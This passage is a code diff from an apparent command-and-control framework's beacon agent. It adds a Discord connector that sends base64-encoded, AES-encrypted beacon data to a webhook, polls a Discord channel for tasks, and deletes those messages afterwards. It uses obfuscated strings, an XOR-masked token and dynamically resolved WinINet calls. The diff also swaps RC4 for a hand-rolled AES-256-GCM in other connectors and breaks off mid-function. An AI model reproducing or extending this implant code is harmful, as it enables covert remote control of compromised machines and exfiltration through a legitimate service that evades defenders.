+ CHAR* hdrBuf = NULL;
+ {
+ DWORD extraLen = extraHeaders ? _slen(extraHeaders) : 0;
+ hdrLen = extraLen;
+ hdrBuf = (CHAR*) this->functions->LocalAlloc(LPTR, hdrLen + 1);
+ DWORD off = 0;
+ if (extraLen) {
+ _scopy(hdrBuf + off, extraHeaders, extraLen);
+ off += extraLen;
+ }
+ hdrBuf[off] = 0;
+ hdrLen = off;
+ }
+
+ BOOL sent = this->functions->HttpSendRequestA(hRequest, hdrBuf, hdrLen, (LPVOID)body, bodyLen);
+ DBG("[*] Discord: %s %s -> sent=%d", method, path, sent);
+
+ if (hdrBuf) {
+ memset(hdrBuf, 0, hdrLen);
+ this->functions->LocalFree(hdrBuf);
+ }
+
+ if (sent) {
+ // Check status code
+ CHAR statusCode[16];
+ DWORD statusCodeLen = sizeof(statusCode);
+ this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, statusCode, &statusCodeLen, 0);
+ DBG("[*] Discord: response status=%s", statusCode);
+
+ int code = 0;
+ for (int i = 0; statusCode[i] >= '0' && statusCode[i] <= '9'; i++)
+ code = code * 10 + (statusCode[i] - '0');
+
+ // Read response body (chunked or content-length)
+ ULONG totalRead = 0;
+ ULONG bufCapacity = 0x1000; // start with 4KB
+ BYTE* buffer = (BYTE*) this->functions->LocalAlloc(LPTR, bufCapacity);
+ DWORD available = 0;
+
+ if (buffer) {
+ while (1) {
+ BOOL qr = this->functions->InternetQueryDataAvailable(hRequest, &available, 0, 0);
+ if (!qr || !available)
+ break;
+
+ // Grow buffer if needed
+ if (totalRead + available > bufCapacity) {
+ bufCapacity = totalRead + available + 0x1000;
+ buffer = (BYTE*) this->functions->LocalReAlloc(buffer, bufCapacity, LMEM_MOVEABLE);
+ if (!buffer) break;
+ }
+
+ DWORD readBytes = 0;
+ BOOL rr = this->functions->InternetReadFile(hRequest, buffer + totalRead, available, &readBytes);
+ if (!rr || !readBytes)
+ break;
+ totalRead += readBytes;
+ }
+ }
+
+ if (totalRead > 0 && outBuf && outLen) {
+ *outBuf = buffer;
+ *outLen = totalRead;
+ } else if (buffer) {
+ this->functions->LocalFree(buffer);
+ }
+
+ result = (code >= 200 && code < 300);
+ }
+
+ this->functions->InternetCloseHandle(hRequest);
+ this->functions->InternetCloseHandle(hConnect);
+
+ return result;
+}
+
+
+// ============================================================================
+// ExtractJsonString — find "key":"value" and return allocated copy of value
+// Handles escaped quotes inside value. Caller must free result.
+// ============================================================================
+
+CHAR* ConnectorDiscord::ExtractJsonString(const CHAR* json, ULONG jsonLen, const CHAR* key, ULONG* outLen)
+{
+ *outLen = 0;
+
+ // Build search pattern: "key":"
+ DWORD keyLen = _slen(key);
+ // Pattern: "":"
+ DWORD patLen = 1 + keyLen + 3; // quote + key + quote + colon + quote
+ CHAR pat[64];
+ if (patLen >= sizeof(pat))
+ return NULL;
+
+ DWORD pi = 0;
+ pat[pi++] = '"';
+ _scopy(pat + pi, key, keyLen); pi += keyLen;
+ pat[pi++] = '"';
+ pat[pi++] = ':';
+ pat[pi++] = '"';
+ pat[pi] = 0;
+
+ int pos = _sfind(json, jsonLen, pat, patLen);
+ if (pos < 0) {
+ // Try with space after colon: "key": "
+ pi = 0;
+ pat[pi++] = '"';
+ _scopy(pat + pi, key, keyLen); pi += keyLen;
+ pat[pi++] = '"';
+ pat[pi++] = ':';
+ pat[pi++] = ' ';
+ pat[pi++] = '"';
+ pat[pi] = 0;
+ patLen = pi;
+ pos = _sfind(json, jsonLen, pat, patLen);
+ if (pos < 0)
+ return NULL;
+ }
+
+ // Value starts after the pattern
+ ULONG valStart = pos + patLen;
+ ULONG valEnd = valStart;
+
+ // Find closing unescaped quote
+ while (valEnd < jsonLen) {
+ if (json[valEnd] == '"' && (valEnd == 0 || json[valEnd - 1] != '\\'))
+ break;
+ valEnd++;
+ }
+
+ ULONG valLen = valEnd - valStart;
+ if (valLen == 0)
+ return NULL;
+
+ CHAR* val = (CHAR*) this->functions->LocalAlloc(LPTR, valLen + 1);
+ _scopy(val, json + valStart, valLen);
+ val[valLen] = 0;
+ *outLen = valLen;
+
+ return val;
+}
+
+
+// ============================================================================
+// DeleteMessage — DELETE /api/v10/channels/{id}/messages/{msg_id}
+// ============================================================================
+
+void ConnectorDiscord::DeleteMessage(const CHAR* messageId)
+{
+ if (!messageId || !this->profile.channel_tasks_id)
+ return;
+
+ // Build path: /api/v10/channels//messages/
+ auto pfx = OBF("/api/v10/channels/");
+ auto mid = OBF("/messages/");
+ DWORD pfxLen = _slen(pfx);
+ DWORD chanLen = _slen((CHAR*) this->profile.channel_tasks_id);
+ DWORD midLen = _slen(mid);
+ DWORD msgLen = _slen(messageId);
+
+ ULONG pathLen = pfxLen + chanLen + midLen + msgLen;
+ CHAR* delPath = (CHAR*) this->functions->LocalAlloc(LPTR, pathLen + 1);
+ DWORD off = 0;
+ _scopy(delPath + off, pfx, pfxLen); off += pfxLen;
+ _scopy(delPath + off, (CHAR*) this->profile.channel_tasks_id, chanLen); off += chanLen;
+ _scopy(delPath + off, mid, midLen); off += midLen;
+ _scopy(delPath + off, messageId, msgLen); off += msgLen;
+ delPath[off] = 0;
+
+ DBG("[*] Discord: DELETE %s", delPath);
+
+ BYTE* resp = NULL;
+ ULONG respLen = 0;
+ auto _mDelete = OBF("DELETE");
+ this->HttpsRequest(_mDelete, delPath, this->authHeader, NULL, 0, &resp, &respLen);
+
+ if (resp) {
+ memset(resp, 0, respLen);
+ this->functions->LocalFree(resp);
+ }
+ memset(delPath, 0, pathLen);
+ this->functions->LocalFree(delPath);
+}
+
+
+// ============================================================================
+// PollTasks — GET tasks channel, parse messages, base64-decode content,
+// concatenate into recvData, optionally delete messages
+// ============================================================================
+
+void ConnectorDiscord::PollTasks()
+{
+ if (!this->tasksPath[0])
+ return;
+
+ BYTE* resp = NULL;
+ ULONG respLen = 0;
+
+ auto _mGet = OBF("GET");
+ BOOL ok = this->HttpsRequest(_mGet, this->tasksPath, this->authHeader, NULL, 0, &resp, &respLen);
+ if (!ok) {
+ // Log error response body for debugging
+ if (resp && respLen > 0) {
+ DBG("[-] Discord: PollTasks GET failed, body=%.*s", respLen > 200 ? 200 : (int)respLen, (CHAR*)resp);
+ memset(resp, 0, respLen);
+ this->functions->LocalFree(resp);
+ } else {
+ DBG("[-] Discord: PollTasks GET failed or empty");
+ if (resp) this->functions->LocalFree(resp);
+ }
+ return;
+ }
+
+ DBG("[*] Discord: PollTasks got %lu bytes", respLen);
+
+ // Discord returns a JSON array: [{"id":"...","content":"..."},...]
+ // We iterate finding "content":" and "id":" pairs
+ // Messages are newest-first, so we process in reverse order for correct ordering
+
+ // First pass: count messages and collect their content+id
+ // Simple approach: find all "content":"..." values and "id":"..." values
+
+ // Collect message IDs for cleanup
+ #define MAX_DISCORD_MSGS 10
+ CHAR* msgIds[MAX_DISCORD_MSGS];
+ CHAR* msgContents[MAX_DISCORD_MSGS];
+ ULONG msgContentLens[MAX_DISCORD_MSGS];
+ ULONG msgIdLens[MAX_DISCORD_MSGS];
+ int msgCount = 0;
+
+ memset(msgIds, 0, sizeof(msgIds));
+ memset(msgContents, 0, sizeof(msgContents));
+ memset(msgContentLens, 0, sizeof(msgContentLens));
+ memset(msgIdLens, 0, sizeof(msgIdLens));
+
+ // Parse JSON array — find each object delimited by { }
+ const CHAR* jsonStr = (const CHAR*) resp;
+ ULONG searchPos = 0;
+
+ while (searchPos < respLen && msgCount < MAX_DISCORD_MSGS) {
+ // Find next '{'
+ ULONG objStart = searchPos;
+ while (objStart < respLen && jsonStr[objStart] != '{')
+ objStart++;
+ if (objStart >= respLen)
+ break;
+
+ // Find matching '}' (simple — no nested objects in Discord message content)
+ ULONG objEnd = objStart + 1;
+ int depth = 1;
+ while (objEnd < respLen && depth > 0) {
+ if (jsonStr[objEnd] == '{') depth++;
+ else if (jsonStr[objEnd] == '}') depth--;
+ objEnd++;
+ }
+
+ ULONG objLen = objEnd - objStart;
+
+ // Extract "id" and "content" from this object
+ ULONG idLen = 0, contentLen = 0;
+ CHAR* id = this->ExtractJsonString(jsonStr + objStart, objLen, "id", &idLen);
+ CHAR* content = this->ExtractJsonString(jsonStr + objStart, objLen, "content", &contentLen);
+
+ if (content && contentLen > 0) {
+ msgIds[msgCount] = id;
+ msgIdLens[msgCount] = idLen;
+ msgContents[msgCount] = content;
+ msgContentLens[msgCount] = contentLen;
+ msgCount++;
+ } else {
+ if (id) { memset(id, 0, idLen); this->functions->LocalFree(id); }
+ if (content) { memset(content, 0, contentLen); this->functions->LocalFree(content); }
+ }
+
+ searchPos = objEnd;
+ }
+
+ if (msgCount == 0) {
+ DBG("[*] Discord: PollTasks no valid messages found");
+ memset(resp, 0, respLen);
+ this->functions->LocalFree(resp);
+ return;
+ }
+
+ DBG("[*] Discord: PollTasks found %d messages", msgCount);
+
+ // Process messages in reverse order (oldest first, Discord returns newest-first)
+ // Base64-decode each content and concatenate
+ BYTE* accumBuf = NULL;
+ ULONG accumLen = 0;
+
+ for (int i = msgCount - 1; i >= 0; i--) {
+ if (!msgContents[i] || msgContentLens[i] == 0)
+ continue;
+
+ // Validate base64
+ int decSize = b64_decoded_size(msgContents[i]);
+ if (decSize <= 0)
+ continue;
+
+ BYTE* decBuf = (BYTE*) this->functions->LocalAlloc(LPTR, decSize);
+ if (!b64_decode(msgContents[i], decBuf, decSize)) {
+ this->functions->LocalFree(decBuf);
+ continue;
+ }
+
+ // Append to accumulator
+ if (!accumBuf) {
+ accumBuf = decBuf;
+ accumLen = decSize;
+ } else {
+ BYTE* newBuf = (BYTE*) this->functions->LocalAlloc(LPTR, accumLen + decSize);
+ memcpy(newBuf, accumBuf, accumLen);
+ memcpy(newBuf + accumLen, decBuf, decSize);
+ memset(accumBuf, 0, accumLen);
+ this->functions->LocalFree(accumBuf);
+ memset(decBuf, 0, decSize);
+ this->functions->LocalFree(decBuf);
+ accumBuf = newBuf;
+ accumLen += decSize;
+ }
+ }
+
+ // Set received data
+ if (accumBuf && accumLen > 0) {
+ this->recvData = accumBuf;
+ this->recvSize = (int) accumLen;
+ DBG("[+] Discord: PollTasks decoded %lu bytes from %d messages", accumLen, msgCount);
+ }
+
+ // Cleanup: delete messages if configured
+ if (this->profile.cleanup) {
+ for (int i = 0; i < msgCount; i++) {
+ if (msgIds[i] && msgIdLens[i] > 0)
+ this->DeleteMessage(msgIds[i]);
+ }
+ }
+
+ // Free message strings
+ for (int i = 0; i < msgCount; i++) {
+ if (msgIds[i]) {
+ memset(msgIds[i], 0, msgIdLens[i]);
+ this->functions->LocalFree(msgIds[i]);
+ }
+ if (msgContents[i]) {
+ memset(msgContents[i], 0, msgContentLens[i]);
+ this->functions->LocalFree(msgContents[i]);
+ }
+ }
+
+ // Free raw response
+ memset(resp, 0, respLen);
+ this->functions->LocalFree(resp);
+}
+
+
+// ============================================================================
+// SendData — POST data to webhook, then poll tasks channel
+//
+// Flow matches ConnectorHTTP::SendData():
+// 1. If data != NULL, base64-encode and POST via webhook
+// 2. Poll tasks channel for inbound commands (GET + parse + decode)
+// ============================================================================
+
+void ConnectorDiscord::SendData(BYTE* data, ULONG data_size)
+{
+ this->recvSize = 0;
+ this->recvData = NULL;
+
+ // 1. Send outbound data via webhook
+ // Format: base64(beat) + "\n" + base64(body) [or just base64(beat) if no body]
+ // The listener expects beat in every message for agent identification
+ {
+ LPSTR encBeat = b64_encode(this->beatData, this->beatSize);
+ LPSTR encData = (data && data_size > 0) ? b64_encode(data, data_size) : NULL;
+
+ if (encBeat) {
+ DWORD beatLen = _slen(encBeat);
+ DWORD bodyLen = encData ? _slen(encData) : 0;
+
+ // Discord message limit is 2000 chars.
+ // Each message contains: beat|body_chunk (beat repeated in every message)
+ // This way the listener can process each message independently.
+ DWORD maxBodyPerMsg = 1900 - beatLen - 1; // reserve space for beat + '|'
+ if (maxBodyPerMsg < 100) maxBodyPerMsg = 100;
+
+ auto jPre = OBF("{\"content\":\"");
+ auto jSuf = OBF("\"}");
+ auto ctHeader = OBF("Content-Type: application/json\r\n");
+ DWORD preLen = _slen(jPre);
+ DWORD sufLen = _slen(jSuf);
+
+ DWORD bodyOffset = 0;
+ BOOL firstChunk = TRUE;
+
+ do {
+ // Build message content: beat|body_chunk (or just beat if no body)
+ DWORD chunkLen = 0;
+ if (bodyLen > 0 && bodyOffset < bodyLen) {
+ chunkLen = bodyLen - bodyOffset;
+ if (chunkLen > maxBodyPerMsg) chunkLen = maxBodyPerMsg;
+ }
+
+ DWORD contentLen = beatLen + (chunkLen > 0 ? 1 + chunkLen : 0);
+ LPSTR content = (LPSTR) this->functions->LocalAlloc(LPTR, contentLen + 1);
+ DWORD coff = 0;
+ _scopy(content + coff, encBeat, beatLen); coff += beatLen;
+ if (chunkLen > 0) {
+ content[coff++] = '|';
+ _scopy(content + coff, encData + bodyOffset, chunkLen); coff += chunkLen;
+ }
+ content[coff] = 0;
+
+ // Build JSON
+ ULONG jsonLen = preLen + contentLen + sufLen;
+ BYTE* jsonBuf = (BYTE*) this->functions->LocalAlloc(LPTR, jsonLen + 1);
+ DWORD joff = 0;
+ _scopy((CHAR*)jsonBuf + joff, jPre, preLen); joff += preLen;
+ _scopy((CHAR*)jsonBuf + joff, content, contentLen); joff += contentLen;
+ _scopy((CHAR*)jsonBuf + joff, jSuf, sufLen); joff += sufLen;
+ jsonBuf[joff] = 0;
+
+ BYTE* resp = NULL;
+ ULONG respLen = 0;
+ auto _mPost2 = OBF("POST");
+ BOOL ok = this->HttpsRequest(_mPost2, this->webhookPath, ctHeader, jsonBuf, jsonLen, &resp, &respLen);
+ DBG("[*] Discord: POST chunk bodyOff=%lu chunkLen=%lu -> %s", bodyOffset, chunkLen, ok ? "OK" : "FAIL");
+
+ if (resp) { memset(resp, 0, respLen); this->functions->LocalFree(resp); }
+ memset(jsonBuf, 0, jsonLen); this->functions->LocalFree(jsonBuf);
+ memset(content, 0, contentLen); this->functions->LocalFree(content);
+
+ bodyOffset += chunkLen;
+
+ // Rate limit delay between chunks
+ if (bodyOffset < bodyLen) {
+ ApiWin->Sleep(500);
+ }
+
+ firstChunk = FALSE;
+ } while (bodyLen > 0 && bodyOffset < bodyLen);
+
+ memset(encBeat, 0, beatLen); this->functions->LocalFree(encBeat);
+ if (encData) { memset(encData, 0, bodyLen); this->functions->LocalFree(encData); }
+ }
+ }
+
+ // 2. Wait for the listener to process our message and post tasks
+ // The listener polls every poll_interval seconds, so we wait at least that long
+ {
+ ULONG waitMs = (this->profile.poll_interval + 3) * 1000; // poll + 3s processing margin
+ if (waitMs < 4000) waitMs = 4000;
+ if (waitMs > 30000) waitMs = 30000;
+ DBG("[*] Discord: waiting %lu ms for listener to process...", waitMs);
+ ApiWin->Sleep(waitMs);
+ }
+
+ // 3. Poll tasks channel for inbound commands
+ this->PollTasks();
+}
+
+
+// ============================================================================
+// RecvData / RecvSize / RecvClear
+// ============================================================================
+
+BYTE* ConnectorDiscord::RecvData()
+{
+ return this->recvData;
+}
+
+int ConnectorDiscord::RecvSize()
+{
+ return this->recvSize;
+}
+
+void ConnectorDiscord::RecvClear()
+{
+ if (this->recvData && this->recvSize) {
+ memset(this->recvData, 0, this->recvSize);
+ this->functions->LocalFree(this->recvData);
+ this->recvData = NULL;
+ }
+ this->recvSize = 0;
+}
+
+
+// ============================================================================
+// CloseConnector — cleanup all resources
+// ============================================================================
+
+void ConnectorDiscord::CloseConnector()
+{
+ if (this->hSession) {
+ this->functions->InternetCloseHandle(this->hSession);
+ this->hSession = NULL;
+ }
+
+ if (this->beatData) {
+ memset(this->beatData, 0, this->beatSize);
+ this->functions->LocalFree(this->beatData);
+ this->beatData = NULL;
+ this->beatSize = 0;
+ }
+
+ if (this->tokenObf) {
+ memset(this->tokenObf, 0, this->tokenObfLen);
+ this->functions->LocalFree(this->tokenObf);
+ this->tokenObf = NULL;
+ this->tokenObfLen = 0;
+ }
+
+ memset(this->discordHost, 0, sizeof(this->discordHost));
+ memset(this->webhookPath, 0, sizeof(this->webhookPath));
+ memset(this->tasksPath, 0, sizeof(this->tasksPath));
+ memset(this->authHeader, 0, sizeof(this->authHeader));
+ memset(this->tokenXorKey, 0, sizeof(this->tokenXorKey));
+
+ if (this->functions) {
+ memset(this->functions, 0, sizeof(DISCORDFUNC));
+ }
+}
+
+
+// ============================================================================
+// Connector interface implementation
+// ============================================================================
+
+BOOL ConnectorDiscord::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize)
+{
+ ProfileDiscord* prof = (ProfileDiscord*)profilePtr;
+ return this->SetConfig(*prof, beat, beatSize);
+}
+
+void ConnectorDiscord::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
+{
+ if (plainData && plainSize > 0) {
+ int encLen;
+ unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen);
+ this->SendData(encData, encLen);
+ MemFreeLocal((LPVOID*)&encData, encLen);
+ }
+ else {
+ this->SendData(NULL, 0);
+ }
+
+ if (this->recvSize > 0 && this->recvData) {
+ int dataSize = this->RecvSize();
+ BYTE* dataPtr = this->RecvData();
+ if (dataSize > 0 && dataPtr) {
+ int plainLen;
+ DecryptAES256GCM(dataPtr, dataSize, sessionKey, &plainLen);
+ }
+ }
+}
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h
new file mode 100644
index 000000000..744d94fe4
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h
@@ -0,0 +1,76 @@
+#pragma once
+
+#include
+#include
+#include "AgentConfig.h"
+#include "Connector.h"
+
+#define DECL_API(x) decltype(x) * x
+
+struct DISCORDFUNC {
+ DECL_API(LocalAlloc);
+ DECL_API(LocalReAlloc);
+ DECL_API(LocalFree);
+ DECL_API(LoadLibraryA);
+ DECL_API(GetLastError);
+
+ DECL_API(InternetOpenA);
+ DECL_API(InternetConnectA);
+ DECL_API(HttpOpenRequestA);
+ DECL_API(HttpSendRequestA);
+ DECL_API(InternetSetOptionA);
+ DECL_API(InternetQueryOptionA);
+ DECL_API(HttpQueryInfoA);
+ DECL_API(InternetQueryDataAvailable);
+ DECL_API(InternetCloseHandle);
+ DECL_API(InternetReadFile);
+};
+
+class ConnectorDiscord : public Connector
+{
+ HINTERNET hSession;
+
+ CHAR discordHost[128];
+ CHAR webhookPath[512];
+ CHAR tasksPath[256];
+ CHAR authHeader[256];
+
+ BYTE tokenXorKey[32];
+ BYTE* tokenObf;
+ ULONG tokenObfLen;
+
+ BYTE* recvData;
+ int recvSize;
+
+ ProfileDiscord profile;
+ BYTE* beatData;
+ ULONG beatSize;
+ BOOL beatSent;
+
+ DISCORDFUNC* functions;
+
+ BOOL HttpsRequest(const CHAR* method, const CHAR* path, const CHAR* extraHeaders, BYTE* body, ULONG bodyLen, BYTE** outBuf, ULONG* outLen);
+ void ParseWebhookUrl(const CHAR* url);
+ void XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen);
+ CHAR* ExtractJsonString(const CHAR* json, ULONG jsonLen, const CHAR* key, ULONG* outLen);
+ CHAR* ExtractJsonArray(const CHAR* json, ULONG jsonLen, ULONG* outLen);
+ void DeleteMessage(const CHAR* messageId);
+ void DeobfuscateToken(CHAR* out, ULONG outSize);
+ void PollTasks();
+
+ BOOL SetConfig(ProfileDiscord prof, BYTE* beat, ULONG bSize);
+ void SendData(BYTE* data, ULONG data_size);
+
+public:
+ ConnectorDiscord();
+
+ BOOL SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) override;
+ void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override;
+ BYTE* RecvData() override;
+ int RecvSize() override;
+ void RecvClear() override;
+ void CloseConnector() override;
+
+ static void* operator new(size_t sz);
+ static void operator delete(void* p) noexcept;
+};
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp
index 1780230e2..7ed870682 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp
@@ -439,8 +439,10 @@ void ConnectorHTTP::RecvClear()
void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
{
if (plainData && plainSize > 0) {
- EncryptRC4(plainData, plainSize, sessionKey, 16);
- this->SendData(plainData, plainSize);
+ int encLen;
+ unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen);
+ this->SendData(encData, encLen);
+ MemFreeLocal((LPVOID*)&encData, encLen);
}
else {
this->SendData(NULL, 0);
@@ -449,8 +451,10 @@ void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
if (this->recvSize > 0 && this->recvData) {
int dataSize = this->RecvSize();
BYTE* dataPtr = this->RecvData();
- if (dataSize > 0 && dataPtr)
- DecryptRC4(dataPtr, dataSize, sessionKey, 16);
+ if (dataSize > 0 && dataPtr) {
+ int plainLen;
+ DecryptAES256GCM(dataPtr, dataSize, sessionKey, &plainLen);
+ }
}
}
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp
index c4b0c46e2..fc9cba5b4 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp
@@ -193,8 +193,10 @@ void ConnectorSMB::Disconnect()
void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
{
if (plainData && plainSize > 0) {
- EncryptRC4(plainData, plainSize, sessionKey, 16);
- this->SendData(plainData, plainSize);
+ int encLen;
+ unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen);
+ this->SendData(encData, encLen);
+ MemFreeLocal((LPVOID*)&encData, encLen);
} else {
this->SendData(NULL, 0);
}
@@ -210,8 +212,11 @@ void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
return;
}
- if (this->recvSize > 0 && this->recvData)
- DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
+ if (this->recvSize > 0 && this->recvData) {
+ int plainLen;
+ DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen);
+ this->recvSize = plainLen;
+ }
}
void ConnectorSMB::DisconnectInternal()
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp
index 7d860cadb..4db804eb0 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp
@@ -274,8 +274,10 @@ void ConnectorTCP::Disconnect()
void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
{
if (plainData && plainSize > 0) {
- EncryptRC4(plainData, plainSize, sessionKey, 16);
- this->SendData(plainData, plainSize);
+ int encLen;
+ unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen);
+ this->SendData(encData, encLen);
+ MemFreeLocal((LPVOID*)&encData, encLen);
}
else {
this->SendData(NULL, 0);
@@ -287,7 +289,9 @@ void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
}
if (this->recvSize > 0 && this->recvData) {
- DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
+ int plainLen;
+ DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen);
+ this->recvSize = plainLen;
}
}
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp
index 9cc8eb395..13479ba20 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp
@@ -1,43 +1,330 @@
#include "Crypt.h"
+#include "utils.h"
-void RC4Init(unsigned char* key, unsigned char* S, int keyLength) {
- int i, j = 0;
- unsigned char temp;
+static const unsigned char g_sbox[256] = {
+ 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
+ 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
+ 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
+ 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
+ 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
+ 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
+ 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
+ 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
+ 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
+ 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
+ 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
+ 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
+ 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
+ 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
+ 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
+ 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
+};
- for (i = 0; i < 256; i++) {
- S[i] = (unsigned char)i;
+static const unsigned char g_rcon[10] = {
+ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36
+};
+
+static unsigned char gf_mul(unsigned char a, unsigned char b) {
+ unsigned char p = 0;
+ for (int i = 0; i < 8; i++) {
+ if (b & 1)
+ p ^= a;
+ unsigned char hi = a & 0x80;
+ a <<= 1;
+ if (hi)
+ a ^= 0x1b;
+ b >>= 1;
+ }
+ return p;
+}
+
+static void aes256_key_expand(const unsigned char* key, unsigned char* roundKeys) {
+ unsigned char temp[4];
+ int i;
+
+ for (i = 0; i < 32; i++)
+ roundKeys[i] = key[i];
+
+ int nk = 8;
+ int nb = 4;
+ int nr = 14;
+
+ for (i = nk; i < nb * (nr + 1); i++) {
+ temp[0] = roundKeys[(i-1)*4 + 0];
+ temp[1] = roundKeys[(i-1)*4 + 1];
+ temp[2] = roundKeys[(i-1)*4 + 2];
+ temp[3] = roundKeys[(i-1)*4 + 3];
+
+ if (i % nk == 0) {
+ unsigned char t = temp[0];
+ temp[0] = temp[1];
+ temp[1] = temp[2];
+ temp[2] = temp[3];
+ temp[3] = t;
+ temp[0] = g_sbox[temp[0]];
+ temp[1] = g_sbox[temp[1]];
+ temp[2] = g_sbox[temp[2]];
+ temp[3] = g_sbox[temp[3]];
+ temp[0] ^= g_rcon[i/nk - 1];
+ }
+ else if (i % nk == 4) {
+ temp[0] = g_sbox[temp[0]];
+ temp[1] = g_sbox[temp[1]];
+ temp[2] = g_sbox[temp[2]];
+ temp[3] = g_sbox[temp[3]];
+ }
+
+ roundKeys[i*4 + 0] = roundKeys[(i-nk)*4 + 0] ^ temp[0];
+ roundKeys[i*4 + 1] = roundKeys[(i-nk)*4 + 1] ^ temp[1];
+ roundKeys[i*4 + 2] = roundKeys[(i-nk)*4 + 2] ^ temp[2];
+ roundKeys[i*4 + 3] = roundKeys[(i-nk)*4 + 3] ^ temp[3];
+ }
+}
+
+static void aes_add_round_key(unsigned char* state, const unsigned char* rk) {
+ for (int i = 0; i < 16; i++)
+ state[i] ^= rk[i];
+}
+
+static void aes_sub_bytes(unsigned char* state) {
+ for (int i = 0; i < 16; i++)
+ state[i] = g_sbox[state[i]];
+}
+
+static void aes_shift_rows(unsigned char* state) {
+ unsigned char t;
+ t = state[1]; state[1] = state[5]; state[5] = state[9]; state[9] = state[13]; state[13] = t;
+ t = state[2]; state[2] = state[10]; state[10] = t;
+ t = state[6]; state[6] = state[14]; state[14] = t;
+ t = state[15]; state[15] = state[11]; state[11] = state[7]; state[7] = state[3]; state[3] = t;
+}
+
+static void aes_mix_columns(unsigned char* state) {
+ for (int c = 0; c < 4; c++) {
+ int i = c * 4;
